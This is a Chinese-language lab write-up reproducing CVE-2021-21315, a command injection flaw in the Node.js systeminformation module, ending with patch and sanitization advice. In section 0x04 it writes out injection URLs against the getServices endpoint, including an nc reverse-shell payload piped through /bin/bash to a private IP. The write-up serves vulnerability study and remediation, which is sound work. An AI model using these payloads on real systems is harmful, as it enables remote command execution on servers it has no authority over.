CVE-2021-21315 NodeJs命令注入漏洞复现

Node.js是一个基于Chrome V8引擎的JavaScript运行环境，用于方便的搭建响应速度快、易于拓展的网络应用。Node使用Module模块划分不同的功能，每一个模块都包含非常丰富的函数，如http就包含了和http相关的很多函数，帮助开发者对http、tcp/udp等进行操作或创建相关服务器。

0x01 漏洞概述

Node.js-systeminformation是用于获取各种系统信息的Node.js模块,在存在命令注入漏洞的版本中，攻击者可以通过未过滤的参数中注入payload执行系统命令。

0x02 影响版本

> Systeminformation<5.3.1

0x03 环境搭建

本次测试环境使用的是kali 2020.4版本，首先下载受影响的Node.js,这里使用的是v12.18.4。

> wgethttps://nodejs.org/dist/v12.18.4/node-v12.18.4-linux-x64.tar.xz

解压

> tar -xvfnode-v12.18.4-linux-x64.tar.xz

为了后续方便，更换文件名字为nodejs，并将该文件移至 /usr/local/sbin/目录下

> mv node-v12.18.4-linux-x64 nodejs
> mv nodejs/ /usr/local/sbin/

更换文件node和npm的软连接

> ln -s /usr/local/sbin/nodejs/bin/node /usr/local/bin/
> ln -s /usr/local/sbin/nodejs/bin/npm /usr/local/bin/

运行node.js看是否配置成功

0x04 漏洞复现

解压poc, poc链接https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC

运行 index.js

浏览器打开

> http://ip:8000/api/getServices?name[]=$(echo -e 'zeeker' > test.txt)

这里直接指向本地

查看本地，发现存在test.txt文件

利用nc反弹shell

```
http://127.0.0.1/api/getServices?name[]=$(nc 192.168.75.131 7777|/bin/bash|nc
192.168.75.131 8888)
```

0x05 修复建议

该漏洞已经修复，将systeminformation升级至5.3.1或更高版本即可

链接：https://www.npmjs.com/package/systeminformation

若无法升级，检查或清理传递给 si.inetLatency()、si.inetChecksite()、si.services()、si.processLoad() 的参数，只允许使用 string，拒绝使用任何数组。